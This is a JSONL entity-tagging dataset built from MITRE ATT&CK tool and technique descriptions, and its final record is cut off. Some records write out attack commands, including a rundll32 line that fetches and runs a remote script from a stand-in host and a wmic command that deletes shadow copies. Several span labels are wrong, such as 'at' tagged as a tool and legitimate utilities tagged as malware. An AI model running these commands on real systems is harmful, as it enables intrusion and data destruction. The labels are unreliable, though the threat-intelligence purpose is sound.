{"text": "Mythic is an open source, cross-platform post-exploitation/command and control platform. Mythic is designed to \"plug-n-play\" with various agents and communication channels. Deployed Mythic C2 servers have been observed as part of potentially malicious infrastructure.", "spans": {"MALWARE: Mythic": [[0, 6], [89, 95], [182, 188]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0699"}}
{"text": "HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks.", "spans": {"TOOL: HTRAN": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0040"}}
{"text": "SDelete is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools.", "spans": {"TOOL: SDelete": [[0, 7]], "ORGANIZATION: Microsoft": [[109, 118]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0195"}}
{"text": "QuasarRAT is an open-source, remote access tool that has been publicly available on GitHub since at least 2014. QuasarRAT is developed in the C# language.", "spans": {"TOOL: QuasarRAT": [[0, 9], [112, 121]], "SYSTEM: GitHub": [[84, 90]], "TOOL: at": [[97, 99]], "SYSTEM: C#": [[142, 144]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0262"}}
{"text": "cipher.exe is a native Microsoft utility that manages encryption of directories and files on NTFS (New Technology File System) partitions by using the Encrypting File System (EFS).", "spans": {"MALWARE: cipher.exe": [[0, 10]], "ORGANIZATION: Microsoft": [[23, 32]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1205"}}
{"text": "Rubeus is a C# toolset designed for raw Kerberos interaction that has been used since at least 2020, including in ransomware operations.", "spans": {"TOOL: Rubeus": [[0, 6]], "SYSTEM: C#": [[12, 14]], "SYSTEM: Kerberos": [[40, 48]], "TOOL: at": [[86, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1071"}}
{"text": "Tor is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. Tor utilizes \"Onion Routing,\" in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination.", "spans": {"TOOL: Tor": [[0, 3], [212, 215]], "TOOL: at": [[310, 312]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0183"}}
{"text": "AdFind is a free command-line query tool that can be used for gathering information from Active Directory.", "spans": {"MALWARE: AdFind": [[0, 6]], "SYSTEM: Active Directory": [[89, 105]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0552"}}
{"text": "Wevtutil is a Windows command-line utility that enables administrators to retrieve information about event logs and publishers.", "spans": {"MALWARE: Wevtutil": [[0, 8]], "SYSTEM: Windows": [[14, 21]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0645"}}
{"text": "Havij is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries.", "spans": {"MALWARE: Havij": [[0, 5], [96, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0224"}}
{"text": "Quick Assist is a remote assistance tool primarily for Microsoft Windows, although a macOS version also exists. Quick Assist allows for remote screen sharing and, with end user approval, remote control and command execution on the enabling device.", "spans": {"MALWARE: Quick Assist": [[0, 12], [112, 124]], "ORGANIZATION: Microsoft": [[55, 64]], "SYSTEM: Windows": [[65, 72]], "SYSTEM: macOS": [[85, 90]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1209"}}
{"text": "PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers.", "spans": {"TOOL: PsExec": [[0, 6]], "ORGANIZATION: Microsoft": [[17, 26]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0029"}}
{"text": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.  \n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>. More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.   \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[303, 310]], "SYSTEM: API": [[760, 763], [1403, 1406]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055.011"}}
{"text": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and Windows Management Instrumentation (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions). Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.", "spans": {"SYSTEM: Windows": [[26, 33], [186, 193], [430, 437], [499, 506], [779, 786], [885, 892], [1141, 1148]], "SYSTEM: Task Scheduler": [[34, 48], [168, 182], [264, 278], [438, 452], [787, 801], [893, 907], [1149, 1163], [1478, 1492]], "TOOL: schtasks": [[199, 207], [1453, 1461]], "SYSTEM: .NET": [[409, 413]], "SYSTEM: Windows Management Instrumentation": [[528, 562]], "TOOL: WMI": [[564, 567], [684, 687]], "TOOL: at": [[822, 824]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1053.005"}}
{"text": "Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria. Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with Protocol Tunneling.\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`.  Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.", "spans": {"TOOL: ping": [[831, 835]], "SYSTEM: Unix": [[1003, 1007]], "SYSTEM: Windows": [[1053, 1060]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1205.002"}}
{"text": "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows systems. \n\nOn Windows, <code>diantz</code> or <code> makecab</code> may be used to package collected files into a cabinet (.cab) file. <code>diantz</code> may also be used to download and compress files from remote locations (i.e. Remote Data Staging). <code>xcopy</code> on Windows can copy files and directories with a variety of options. Additionally, adversaries may use certutil to Base64 encode collected data before exfiltration. \n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.", "spans": {"TOOL: tar": [[389, 392]], "SYSTEM: Linux": [[403, 408]], "SYSTEM: macOS": [[413, 418]], "SYSTEM: Windows": [[442, 449], [464, 471], [725, 732]], "TOOL: certutil": [[825, 833]], "TOOL: 7-Zip": [[945, 950]], "TOOL: WinRAR": [[952, 958]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1560.001"}}
{"text": "Adversaries may use Valid Accounts to remotely control machines using Virtual Network Computing (VNC).  VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.\n\nVNC differs from Remote Desktop Protocol as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.", "spans": {"TOOL: VNC": [[97, 100], [104, 107], [340, 343], [384, 387], [466, 469], [560, 563], [588, 591], [744, 747], [876, 879]], "TOOL: Remote Desktop Protocol": [[357, 380]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1021.005"}}
{"text": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems. WMI is an administration feature that provides a uniform environment to access Windows system components.\n\nThe WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model and Windows Remote Management. Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. \n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as Execution of commands and payloads. For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., Inhibit System Recovery).\n\n**Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by PowerShell as the primary WMI interface. In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.", "spans": {"SYSTEM: Windows Management Instrumentation": [[22, 56]], "TOOL: WMI": [[58, 61], [107, 110], [220, 223], [331, 334], [514, 517], [561, 564], [659, 662], [1226, 1229], [1358, 1361]], "SYSTEM: Windows": [[203, 210], [299, 306], [1167, 1174]], "SYSTEM: Component Object Model": [[453, 475]], "TOOL: Windows Remote Management": [[480, 505]], "SYSTEM: DCOM": [[523, 527]], "TOOL: WinRM": [[570, 575]], "SYSTEM: HTTP": [[611, 615]], "SYSTEM: HTTPS": [[629, 634]], "TOOL: wmic": [[862, 866], [944, 948], [1017, 1021]], "SYSTEM: Windows 11": [[1117, 1127]], "TOOL: PowerShell": [[1200, 1210], [1256, 1266]], "SYSTEM: COM": [[1298, 1301]], "SYSTEM: .NET": [[1371, 1375]], "SYSTEM: VBScript": [[1377, 1385]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1047"}}
{"text": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.", "spans": {"SYSTEM: API": [[313, 316]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1113"}}
{"text": "Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository. Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk..\n\nSimilar to fileless in-memory behaviors such as Reflective Code Loading and Process Injection, fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of Persistence) and collected data not yet exfiltrated from the victim (e.g., Local Data Staging). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. \n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.", "spans": {"SYSTEM: Windows": [[219, 226]], "SYSTEM: Windows Registry": [[247, 263]], "TOOL: WMI": [[280, 283], [1478, 1481]], "SYSTEM: Linux": [[325, 330], [965, 970]], "FILEPATH: /dev/shm`": [[341, 350]], "FILEPATH: /run/shm`": [[353, 362]], "FILEPATH: /var/run`": [[365, 374]], "FILEPATH: /var/lock`)": [[381, 392]], "FILEPATH: %SystemRoot%": [[1490, 1502], [1550, 1562]], "SYSTEM: Registry": [[1533, 1541]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.011"}}
{"text": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.  \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.", "spans": {"TOOL: at": [[51, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1037"}}
{"text": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to Impair Defenses and/or in support of a Network Denial of Service.", "spans": {"SYSTEM: Access": [[270, 276], [904, 910]], "SYSTEM: DNS": [[388, 391], [603, 606], [789, 792]], "SYSTEM: SSL": [[1127, 1130]], "SYSTEM: TLS": [[1131, 1134]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1557"}}
{"text": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.\n\nOn network devices, Network Device CLI commands such as `show users` and `show ssh` can be used to display users currently logged into the device.", "spans": {"TOOL: whoami": [[838, 844]], "SYSTEM: macOS": [[856, 861], [965, 970]], "SYSTEM: Linux": [[866, 871]], "FILEPATH: %USERNAME%": [[1111, 1121]], "TOOL: ssh": [[1278, 1281]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1033"}}
{"text": "Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", "spans": {"TOOL: at": [[377, 379]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1583"}}
{"text": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).\n\nRundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe.\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks.\n\nThreat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>).\n\nAdditionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.", "spans": {"TOOL: Rundll32": [[300, 308], [421, 429], [719, 727], [734, 742]], "SYSTEM: JavaScript": [[787, 797]], "SYSTEM: Windows": [[1473, 1480]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.011"}}
{"text": "Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs. In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.", "spans": {"SYSTEM: Kubernetes": [[303, 313], [361, 371]], "SYSTEM: Docker": [[350, 356], [381, 387]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1613"}}
{"text": "Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.\n\nOnce acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to Hide Infrastructure.", "spans": {"ORGANIZATION: Cloudflare": [[80, 90]], "SYSTEM: AWS": [[100, 103]], "SYSTEM: Lambda": [[104, 110]], "ORGANIZATION: Google": [[125, 131]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1583.007"}}
{"text": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME. Some data encoding systems may also result in data compression, such as gzip.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1132.001"}}
{"text": "Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to Subvert Trust Controls by not impacting execution controls such as digital signatures and notarization tickets. \n\nAdversaries may embed payloads in various file formats to hide payloads. This is similar to Steganography, though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats. \n\nFor example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary. Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format. \n\nEmbedded content may also be used as Process Injection payloads used to infect benign system processes. These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.009"}}
{"text": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.", "spans": {"FILEPATH: /etc/passwd": [[414, 425]], "FILEPATH: /etc/shadow": [[443, 454]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1556.003"}}
{"text": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1578.004"}}
{"text": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).\n\nAdversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.", "spans": {"SYSTEM: HTTP": [[1123, 1127]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1592"}}
{"text": "Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).", "spans": {"SYSTEM: HTTPS": [[317, 322]], "SYSTEM: SSL": [[323, 326]], "SYSTEM: TLS": [[327, 330]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1596.003"}}
{"text": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.", "spans": {"SYSTEM: API": [[699, 702], [763, 766], [799, 802]], "SYSTEM: Windows Registry": [[910, 926]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1056.001"}}
{"text": "Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.\n\nAdversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than  tampering with tool settings to add a new exclusion (i.e., Disable or Modify Tools), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use Security Software Discovery and other Discovery/Reconnaissance activities to both discover and verify existing exclusions in a victim environment.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.012"}}
{"text": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files. File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Unix Shell Configuration Modification or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.", "spans": {"SYSTEM: Linux": [[451, 456], [461, 466]], "TOOL: chown": [[816, 821]], "TOOL: chmod": [[865, 870]], "SYSTEM: Unix": [[1221, 1225]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1222.002"}}
{"text": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. \n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.. Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", "spans": {"SYSTEM: SSH": [[949, 952]], "TOOL: Telnet": [[964, 970]], "TOOL: FTP": [[982, 985]], "SYSTEM: SMB": [[1007, 1010], [1760, 1763]], "SYSTEM: Samba": [[1013, 1018]], "SYSTEM: LDAP": [[1041, 1045], [1683, 1687]], "SYSTEM: Kerberos": [[1058, 1066], [1692, 1700]], "TOOL: RDP": [[1078, 1081]], 